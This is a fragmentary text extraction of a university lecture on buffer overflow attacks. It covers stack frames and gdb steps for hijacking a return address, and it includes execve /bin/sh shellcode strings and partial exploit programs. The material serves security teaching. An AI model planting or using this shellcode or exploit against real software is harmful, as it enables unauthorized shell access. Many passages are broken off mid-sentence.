Lecture 21
Lecture 21
April 2, 2020
3:15pm
c
2020 Avinash Kak, Purdue University
Goals:
2
Computer and Network Security by Avi Kak Lecture 21
Back to TOC
# The latest IANA port assignments for network services can be obtained
# from:
# http://www.iana.org/assignments/port-numbers
#
# The Well Known Ports are those from 0 through 1023. The Registered
# Ports are those from 1024 through 49151. The Dynamic and/or Private
# Ports are those from 49152 through 65535
echo 7/tcp
echo 7/udp
daytime 13/tcp
daytime 13/udp
3
Computer and Network Security by Avi Kak Lecture 21
ftp-data 20/tcp
ftp 21/tcp
ssh 22/tcp # SSH Remote Login Protocol
telnet 23/tcp
smtp 25/tcp mail
time 37/tcp timserver
domain 53/udp
domain 53/tcp
tftp 69/tcp
finger 79/tcp
http 80/tcp www www-http # WorldWideWeb HTTP
kerberos 88/tcp kerberos5 krb5 # Kerberos v5
hostname 101/tcp hostnames # usually from sri-nic
pop3 110/tcp pop-3 # POP version 3
sunrpc 111/tcp portmapper # RPC 4.0 portmapper TCP
sunrpc 111/udp portmapper # RPC 4.0 portmapper UDP
auth 113/tcp authentication tap ident
auth 113/udp authentication tap ident
sftp 115/tcp
sftp 115/udp
uucp-path 117/tcp
nntp 119/tcp readnews untp # USENET News Transfer Protocol
ntp 123/tcp
netbios-ns 137/tcp # NETBIOS Name Service
imap2 143/tcp imap # Internet Mail Access Protocol
imap2 143/udp imap
ipp 631/tcp # Internet Printing Protocol
rsync 873/tcp # rsync
imaps 993/tcp # IMAP over SSL
pop3s 995/tcp # POP-3 over SSL
biff 512/udp comsat
login 513/tcp
who 513/udp whod
shell 514/tcp cmd # no passwords used
printer 515/tcp spooler # line printer spooler
printer 515/udp spooler # line printer spooler
talk 517/udp
router 520/udp route routed # RIP
uucp 540/tcp uucpd # uucp daemon
netstat 15/tcp # (was once asssigned, no more)
...
...
and many many more, see /etc/services for the complete list.
4
Computer and Network Security by Avi Kak Lecture 21
5
Computer and Network Security by Avi Kak Lecture 21
Back to TOC
6
Computer and Network Security by Avi Kak Lecture 21
7
Computer and Network Security by Avi Kak Lecture 21
8
Computer and Network Security by Avi Kak Lecture 21
Back to TOC
9
Computer and Network Security by Avi Kak Lecture 21
Note, there is at least one worm out there that can make use of
the exploit mentioned above to break into a remote host either
as an unprivileged or a privileged user and execute commands
with the privileges of that user.
Summary:
April 9, 2010
erlang-base
erlang-crypto
erlang-inets
erlang-mnesia
erlang-public-key
erlang-runtime-tools
erlang-ssl
erlang-syantax-tools
erlang-xmerl
Version 1:13.b.1-dfsg-2ubuntu1.1:
- CVE-2008-2371
10/11/2017
Version: 1.0
Executive Summary
13
Computer and Network Security by Avi Kak Lecture 21
Back to TOC
• Let’s first look at the two different ways in which you can
allocate memory for a variable in a C program:
int data[100];
fetch the same value in both cases, assuming that the same array is stored in both
software written in the so-called safe languages links to libraries written in C, C++, and Objective-C. So even
when you create an application in a safe language, if it calls on libraries written in C (a very common
occurrence), your application could still be vulnerable to buffer overflow. That is one of the main reasons for
why every application should be allowed to run with only the least privileges required for its execution. ]
14
Computer and Network Security by Avi Kak Lecture 21
that has not yet finished execution in a nested invocation of functions. Stored in each stack
frame is the address of the calling function to which the control must return after the called
execution of a function, the local variables are pushed into the stack and the function calls
// ex0.c:
void my_func(int a, int b, int c) {
int x = 100;
}
void main() {
my_func(1,2,3);
}
Let’s now generate the assembler code file for this program by
gcc -m32 -S -o ex0.S ex0.c
main in the assembler code file ex0.S, you are likely to see the
following commands in it: [Although the precise details regarding what the call stack
would look like depend on the machine architecture and the specific compiler used, the following is not an
unrealistic model for the assembly code generated by the gcc compiler for the x86 architectures: ]
pushl $3
pushl $2
pushl $1
call my_func
frame, is that when the current stackframe finishes execution, we must quickly restore the Base Pointer to the
stack_ptr--> x |
saved_BP |
return-address to main | stack frame for my_func
a |
b |
c |
return address in the stackframe for main | stack frame for main
18
Computer and Network Security by Avi Kak Lecture 21
the bottom four are created by the assembler code in the main section of ex0.S. Just the top two lines are
#include <stdio.h>
int main() {
int x = foo( 10 );
printf( "the value of x = %d\n", x );
return 0;
}
int foo( int i ) {
int ii = i + i;
int iii = bar( ii );
int iiii = 2 * iii;
return iiii;
}
int bar( int j ) {
int jj = j + j;
return jj;
}
stack_ptr--> jj |
saved_BP |
19
Computer and Network Security by Avi Kak Lecture 21
iii |
ii |
saved_BP | stack frame for foo
return-address to main |
i |
• The values stored in each stack frame above the location of the
return address are for those local variables that are still in scope
at the current moment. That is why the stack frame for foo
20
Computer and Network Security by Avi Kak Lecture 21
shows iii at the top, but not yet iiii, since the latter has not
yet been seen (when bar was called). Note that the parameters
in the header of a function are stored below the location of the
return address. You should already know the reason for that
from my explanation of the ex0.c example.
• As I did earlier for for the case of ex0.c, how the stack is laid
out for ex1.c can be seen by generating the assembler code file
for that program by giving the ‘-S’ option to the gcc
command, as in
gcc -O0 -S ex1.c -o ex1.S
where the ‘-O0’ flag tells the compiler to use the optimization
level 0 so that the assembler code that is produced can be
comprehended by humans. [The different integer values associated with ‘-O’ are 0 for
optimization for compile time, 1 for optimization for code size and execution, 2 for further optimization for
code size and execution, and so on. Not specifying an integer is the same as using ‘1’. Also note that the
21
Computer and Network Security by Avi Kak Lecture 21
option ‘-O0’ is the default for calling gcc. So the above call produces the same output as the call ‘gcc -S
• To see what the above assembler output says about the call
stack layout, note that the Intel x86 calling convention (which
22
Computer and Network Security by Avi Kak Lecture 21
except that the first letter is always ’r’. The presentation in Section 21.8 on designing strings for
carrying out buffer overflow exploits is based on 64-bit x86. The discussion in that section uses the
23
Computer and Network Security by Avi Kak Lecture 21
foo:
pushl %ebp push the value stored in the register ebp
into the stack.
movl %esp, %ebp move the value in register esp to register ebp
(we are using the AT&T (gcc) syntax:
’op source dest’)
subl $4, %esp subtract decimal 4 from the value in esp register
(so stack ptr will now point to 4 locations
down, meaning in the direction in which
the stack grows as you push info into it)
24
Computer and Network Security by Avi Kak Lecture 21
movl %eax, (%esp) move the content of the accumulator into the
stack location pointed to by the content of the
esp register (this is where you would want to
store the value of the local variable ii that
then becomes the argument to bar)
leave
.... ....
.... ....
25
Computer and Network Security by Avi Kak Lecture 21
causing an exception to be thrown? As to what happens next would depend on how the exception handling
code is written in your code. An apt analogy here would be to building a sturdy house over a weak
foundation. ]
26
Computer and Network Security by Avi Kak Lecture 21
Back to TOC
// buffover.c
#include <stdio.h>
int foo(){
char ch; char buffer[5]; int i = 0;
printf("Say something: ");
while ((ch = getchar()) != ’\n’) buffer[i++] = ch;
buffer[i] = ’\0’;
printf("You said: %s\n", buffer);
return 0;
}
int main() {
foo();
}
27
Computer and Network Security by Avi Kak Lecture 21
• Let’s now see what the call stack would look like just before the
execution of the while loop in the program:
saved_BP
return address in the stackframe for main
For a more complete look at the call stack, you will have to
examine the file generated by
gcc -S -O buffover.c -o buffover.S
28
Computer and Network Security by Avi Kak Lecture 21
• But at some point, the string you enter will begin to overwrite
the memory locations allocated to other variables on the stack
and also possibly the location where the return address of the
calling function is stored. When this happens, the program will
be aborted with a segmentation fault. Check it out for yourself
by compiling the program and executing it first with a short
input and then with a very long input.
• I’ll now devote the rest of this section to reviewing some of the
basic ideas that have been developed over the years for
protecting an executable against a buffer overflow attack. As it
turns out, none of the methods that are currently available are
completely foolproof — although they do make it more
challenging to mount a buffer overflow attack.
29
Computer and Network Security by Avi Kak Lecture 21
saved_BP
canary
return address in the stackframe for main
saved_BP
canary
return address in the stackframe for main
32
Computer and Network Security by Avi Kak Lecture 21
33
Computer and Network Security by Avi Kak Lecture 21
Back to TOC
#include <stdio.h>
int foo();
int main() {
while(1) foo();
}
int foo(){
unsigned int yy = 0;
char buffer[5]; char ch; int i = 0;
printf("Say something: ");
while ((ch = getchar()) != ’\n’) buffer[i++] = ch;
buffer[i] = ’\0’;
printf("You said: %s\n", buffer);
printf("The variable yy: %d\n", yy);
return 0;
}
34
Computer and Network Security by Avi Kak Lecture 21
• The stack frame for foo() just prior to the execution of its
while loop will look like:
main
35
Computer and Network Security by Avi Kak Lecture 21
• So, whereas the program logic dictates that the value of the
local variable yy should always be 0, what you actually see may
depend on what string you entered in response to the prompt.
When I interact with the program on my Linux laptop, I see the
following behavior:
Say something: 0123456789012345678901234567
You said: 0123456789012345678901234567
The variable yy: 0 <----- correct
....
36
Computer and Network Security by Avi Kak Lecture 21
37
Computer and Network Security by Avi Kak Lecture 21
Back to TOC
• Our goal in this section is to answer the question: How does one
craft the specially formatted string that would be needed for a
buffer overflow exploit?
• One of the most basic tools you need for designing such a string
is an assembler-level debugger such as the very popular GNU
gdb.
38
Computer and Network Security by Avi Kak Lecture 21
// buffover4.c
#include <stdio.h>
#include <string.h>
void bar() {
printf("\n\nWhat? I was not supposed to be called!\n\n");
fflush(stdout);
}
1. As you can see from main, the program requires that you
call it with exactly one string as a command-line argument.
[The argument count held by argc includes the name of the program (which in our case is
buffover4.c).]
allocated to it.
When that happens, the program will just crash with a segfault. That is, with a random overwrite of
the return address in a stackframe, you are unlikely to cause the thread of execution to initiate the
40
Computer and Network Security by Avi Kak Lecture 21
• In the rest of this section, I will show how you can “design” an
input string for the program shown above so that the buffer
overflow vulnerability in the foo() function can be exploited to
steer at run-time the flow of execution into the bar() function.
uname -m. In either case, for 64-bit Linux, you will see the substring x86 64 in the string
that is returned. ]
Step 1: Compile the code with the ’-g’ option in order to produce the
information needed by the debugger:
41
Computer and Network Security by Avi Kak Lecture 21
gdb buffover4
Step 3: We need the memory address for entry to the object code for
the bar() function. As stated earlier, when the return address in
the stackframe for foo() is overwritten, we want the new address to
be the entry into the object code for bar(). So we ask gdb to show
the assembler code for bar(). This we do by
From the above dump, we get hold of the first memory location that
signifies the entry into the object code for bar(). For the
compilation we just carried out, this is given by
0x000000000040068e. We are only going to need the last four bytes
of this memory address: 0040068e. When we overwrite the buffer
for the array buf in foo(), we want the four bytes 0040068e to be
the overwrite for the return address in foo’s stackframe.
42
Computer and Network Security by Avi Kak Lecture 21
Step 4: Keeping in the mind the four bytes shown above, we now
synthesize a command-line argument needed by our program
buffover4. This we do by
43
Computer and Network Security by Avi Kak Lecture 21
(gdb) run
As you would expect, this execution will halt at the first breakpoint.
Given that our code is so simple, it won’t even take a moment for
that to happen. When the execution halts at the breakpoint, gdb
will print out something like this:
44
Computer and Network Security by Avi Kak Lecture 21
45
Computer and Network Security by Avi Kak Lecture 21
You see a six line display of bytes. In the first line, the first four
bytes are, in reverse order, the bytes at the location on the stack
that is pointed to by what is stored in the stack pointer — earlier
we showed this value to be 0xffffe410. The first four bytes in the
fifth line are, again in reverse order, the value stored at the stack
location pointed to by the frame pointer. Earlier we showed that
this value is 0xffffe310. Again you saw earlier that when we
printed out the return address directly, it was 0x4006f8. The bytes
shown in reverse order in the sixth line, 0xf8, 0x06, 0x40, and 0x00,
correspond to this return address.
You will see the assembler code for foo and an arrow therein that
will show you where the program execution is currently stopped.
Step 10: Having examined the various registers and the stackframe for
foo, it is time to resume program execution. This we do by
(gdb) cont
our second breakpoint, which is just before the exit from the
object code for foo, as you will recall. To signify this fact,
gdb will print out the following message on the screen:
Step 11: At this point, we should have overrun the buffer allocated to
the array variable buf and hopefully we have managed to overwrite
the location in foo’s stackframe where the return address is stored.
To confirm that fact, it is time to examine this stackframe again:
47
Computer and Network Security by Avi Kak Lecture 21
(gdb) stepi
(gdb) stepi
The first call above will elicit an error message that you can ignore.
I believe this message is a result of the overwrite of the location
pointed to by the frame pointer. The second call, however, will elicit
the following from gdb:
Now you know for sure that you are inside the object code
for bar. This means that our overwrite of the return address in the
stackframe for foo worked.
(gdb) cont
48
Computer and Network Security by Avi Kak Lecture 21
Continuing.
Segmentation fault
• Finally, some of the other gdb commands that you will find
useful in the context described here are: list to see where
exactly you are in the source code at a given moment; s to step
into the next function; bt to see a listing of all the stackframes
currently in the stack; frame i to see the a particular
stackframe; info frame i to see the values stored in the stack
frame at the locations pointed to by the stack pointer, the frame
pointer, etc.; info locals to see the values stored for the local
variables; info break to see the information on the
breakpoints; info registers for the various registers. If you
want to print out the value of a local variable in hex, you say
print /x variable name; and so son. You enter quit to exit
the debugger.
50
Computer and Network Security by Avi Kak Lecture 21
Back to TOC
Computing as one of the 10 most influential people at that time. As to why, Elias used to moderate
the BugTraq mailing list for computer security information during the days when most large
corporations would shove under the rug any reports about flaws in their software and hardware
products. The BugTraq mailing list allowed engineers and programmers to post these flaws without
fear of reprisals from their employers. As a result, BugTraq contributed significantly to raising
general awareness regarding security vulnerabilities. He was also the CTO and the co-founder of the
• Before detailing in the rest of this section the steps you must
undertake for constructing a shell-spawning buffer overflow
51
Computer and Network Security by Avi Kak Lecture 21
1. A good starting point for learning how to spawn a shell with buffer overflow is a
simple C program whose main job is to call execeve() with the argument
/bin/sh
2. You examine the assembly code for the above mentioned program and come up
with a minimal list of assembler instructions that would do the same thing as the
program itself.
4. If your collection of assembler instructions is correct, you look at the opcodes for
the program in the previous step with the objdump tool. You convert each opcode
and the associated arguments into the hex representation. The sequence of these
hex representations is your shellcode string.
5. In order to test that your shellcode is executable, you test it by setting a function
pointer to the beginning of the shellcode. That assignment should cause the
shellcode to be executed.
6. Next, you need to figure out how a given vulnerable application (meaning a
vulnerable C program) can be subject to a buffer overflow attack using the
shellcode you just created.
7. At some point during its execution, the vulnerable application will write out the
shellcode into its stack. But how do you make sure that the buffer overflow will
overwrite the return address in the current stackframe with the address you want
to place there through the shellcode?
9. For any give vulnerable application, this may call for testing with augmenting the
shellcode with longer and longer no-op bytes until you have the needed rewrite for
the return address.
stack_smashing_annotated.txt
// shellcode.c
#include <stdio.h>
#include <unistd.h>
int main() {
char* name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
return 0;
}
53
Computer and Network Security by Avi Kak Lecture 21
where the “-static” option incorporates the code for the call to
execve within the executable that is produced. Without this
54
Computer and Network Security by Avi Kak Lecture 21
flag, the executable will only have a reference to the library that
would need to be linked in at run time. Let’s invoke the
debugger on the output file
gdb shellcode
We get
Dump of assembler code for function main:
0x0804887c <+0>: lea 0x4(%esp),%ecx
0x08048880 <+4>: and $0xfffffff0,%esp
0x08048883 <+7>: pushl -0x4(%ecx)
0x08048886 <+10>: push %ebp
0x08048887 <+11>: mov %esp,%ebp
0x08048889 <+13>: push %ecx
0x0804888a <+14>: sub $0x14,%esp
0x0804888d <+17>: mov %gs:0x14,%eax
0x08048893 <+23>: mov %eax,-0xc(%ebp)
0x08048896 <+26>: xor %eax,%eax
0x08048898 <+28>: movl $0x80bad08,-0x14(%ebp)
0x0804889f <+35>: movl $0x0,-0x10(%ebp)
0x080488a6 <+42>: mov -0x14(%ebp),%eax
0x080488a9 <+45>: sub $0x4,%esp
0x080488ac <+48>: push $0x0
0x080488ae <+50>: lea -0x14(%ebp),%edx
0x080488b1 <+53>: push %edx
0x080488b2 <+54>: push %eax
0x080488b3 <+55>: call 0x806c620 <execve>
0x080488b8 <+60>: add $0x10,%esp
0x080488bb <+63>: mov $0x0,%eax
0x080488c0 <+68>: mov -0xc(%ebp),%ecx
0x080488c3 <+71>: xor %gs:0x14,%ecx
0x080488ca <+78>: je 0x80488d1 <main+85>
0x080488cc <+80>: call 0x806ef20 <__stack_chk_fail>
0x080488d1 <+85>: mov -0x4(%ebp),%ecx
0x080488d4 <+88>: leave
0x080488d5 <+89>: lea -0x4(%ecx),%esp
0x080488d8 <+92>: ret
End of assembler dump.
55
Computer and Network Security by Avi Kak Lecture 21
above with a command like [You may have to first install the gcc-multilib library for
this to work. You can do that with a command like “sudo apt-get install gcc-multilib”]
• You can examine the assembler code and the associated opcodes
with gdb. For example, to see the main section of the assembler
code and the opcodes in that section, we invoke disas inside the
debugger with the /r’ option:
gdb shellcodeasm
disas /r main
which returns
Dump of assembler code for function main:
0x080483db <+0>: 55 push %ebp
0x080483dc <+1>: 89 e5 mov %esp,%ebp
0x080483de <+3>: e9 47 7c fb f7 jmp 0x2a
0x080483e3 <+8>: 5e pop %esi
0x080483e4 <+9>: 89 76 08 mov %esi,0x8(%esi)
0x080483e7 <+12>: c6 46 07 00 movb $0x0,0x7(%esi)
0x080483eb <+16>: c7 46 0c 00 00 00 00 movl $0x0,0xc(%esi)
0x080483f2 <+23>: b8 0b 00 00 00 mov $0xb,%eax
0x080483f7 <+28>: 89 f3 mov %esi,%ebx
0x080483f9 <+30>: 8d 4e 08 lea 0x8(%esi),%ecx
0x080483fc <+33>: 8d 56 0c lea 0xc(%esi),%edx
0x080483ff <+36>: cd 80 int $0x80
0x08048401 <+38>: b8 01 00 00 00 mov $0x1,%eax
0x08048406 <+43>: bb 00 00 00 00 mov $0x0,%ebx
0x0804840b <+48>: cd 80 int $0x80
0x0804840d <+50>: e8 bf 7b fb f7 call 0xffffffd1
0x08048412 <+55>: 2f das
0x08048413 <+56>: 62 69 6e bound %ebp,0x6e(%ecx)
0x08048416 <+59>: 2f das
0x08048417 <+60>: 73 68 jae 0x8048481 <__libc_csu_init+81>
0x08048419 <+62>: 00 b8 00 00 00 00 add %bh,0x0(%eax)
0x0804841f <+68>: 5d pop %ebp
0x08048420 <+69>: c3 ret
End of assembler dump.
57
Computer and Network Security by Avi Kak Lecture 21
objdump -d shellcodeasm
The first command spits out the opcodes for the whole program
and second shows 20 lines of the output for the main section of
the executable. This will be identical to what was shown for
main previously with the “disas /r main” command inside the
debugger.
• You can string together the opcodes into a shellcode string. The
shellcode string put together by Alpeh One for one of his buffer
overflow examples is shown in the following C program:
// overflow1.c
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
int main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
58
Computer and Network Security by Avi Kak Lecture 21
strcpy(buffer,large_string);
return 0;
}
• If you compile the program shown and execute it, you will be
placed in a shell — provided you run your code on a i386
processor. In order to create the shellcode for a 64-bit x86
processor, you’d need to follow the recipe in the annotated
document mentioned at the beginning of this section. That is
left to you, the reader, as an exercise.
// shellcodeasm3.c
// by Patrick Schaller
int main()
{
__asm__(
"xor %eax, %eax\n" // eax = NULL
"push %eax\n" // terminate string with NULL
"push $0x68732f2f\n" // //sh (little endian)
"push $0x6e69622f\n" // /bin (little endian)
"mov %esp, %ebx\n" // pointer to /bin//sh in ebx
"push %eax\n" // create array for argv[]
"push %ebx\n" // pointer to /bin//sh in argv
"mov %esp, %ecx\n" // pointer to argv[] in ecx
"mov %eax, %edx\n" // NULL (envp[]) in edx
"movb $0xb, %al\n" // 11 = execve syscall in eax
"int $0x80\n" // soft interrupt
);
}
59
Computer and Network Security by Avi Kak Lecture 21
The interrupt handler in this case is identified by 0x80, which is the Linux kernel itself. As to which specific
system call is being attempted, that depends on what is in the EAX register. If the EAX register contains the
integer 1, that implies a call to exit. In this case, the value in the EBX register holds the status code for
exit(). On the other hand, if the EAX register holds the decimal integer 12, which is case in the code shown
60
Computer and Network Security by Avi Kak Lecture 21
above, then that is a call to execve. The arguments supplied in this system call would be supplied by the
char shellcode[] =
"\x31\xc0"
"\x50"
"\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x89\xc2"
"\xb0\x0b"
"\xcd\x80";
int main()
{
void (*fp)() = shellcode;
fp();
61
Computer and Network Security by Avi Kak Lecture 21
return 0;
}
executed. ]
• Next let’s address the question of how one uses the shellcode
string previously constructed to mount a buffer overflow attack
on a given vulnerable application in order to spawn a shell
through such an attack.
// overflowexample.c
#include <stdio.h>
62
Computer and Network Security by Avi Kak Lecture 21
if(argc > 1)
proc(argv[1], 1, 2);
printf("%s\n", argv[1]);
return 0;
}
// exploit3.c
// by Patrick Schaller
#include <stdio.h>
#include <unistd.h>
#define BUF 80
#define NOP 0x90
char shellcode[] =
"\x31\xc0"
"\x50"
"\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x89\xc2"
"\xb0\x0b"
"\xcd\x80";
63
Computer and Network Security by Avi Kak Lecture 21
for(i=0;i<BUF; i +=4)
*bufptr++ = ret;
• But, obviously, you have to first compile the exploit code. You
could try doing so with the following command:
64
Computer and Network Security by Avi Kak Lecture 21
Back to TOC
] In 64-bit
thing as XN (for eXecute Never). And AMD refers to it as Enhanced Virus Protection.
66
Computer and Network Security by Avi Kak Lecture 21
a command like “gdb buffover4”, enter “help” to see different classes of commands you get with peda, and
“phelp” to see a list of peda subcommands. A command like “p bar” directly gives you the address of the
entry point into the function bar(). By the way, you should be able to execute all of the normal GDB
67
Computer and Network Security by Avi Kak Lecture 21
Back to TOC
68
Computer and Network Security by Avi Kak Lecture 21
7. Programming Assignment:
8. Programming Assignment:
70